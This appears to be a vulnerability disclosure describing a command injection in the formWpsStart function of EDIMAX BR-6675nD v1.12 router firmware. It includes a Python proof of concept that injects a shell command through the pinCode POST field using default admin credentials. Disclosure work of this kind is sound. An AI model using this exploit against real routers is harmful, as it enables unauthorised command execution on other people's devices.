Overview

Affected version

BR-6675nD v1.12

Vulnerability details

The EDIMAX BR-6675nD v1.12 firmware has a command injection vulnerability in the formWpsStart function. The v13 variable receives the pinCode parameter from a POST request. However, since the user can control the input of pinCode, the statement system() can cause a command injection.

image.png

POC

import requests

ip = "192.168.2.1"

payload = "$(ps>/1.txt)"
data = {"confMode": '0', "configOption": "pin", "wlan-url":"/","pinCode": payload}

url = f'http://{ip}/goform/formWpsStart'

res = requests.post(url=url, data=data, auth=("admin", "1234"), verify=False)
print(res)

image.png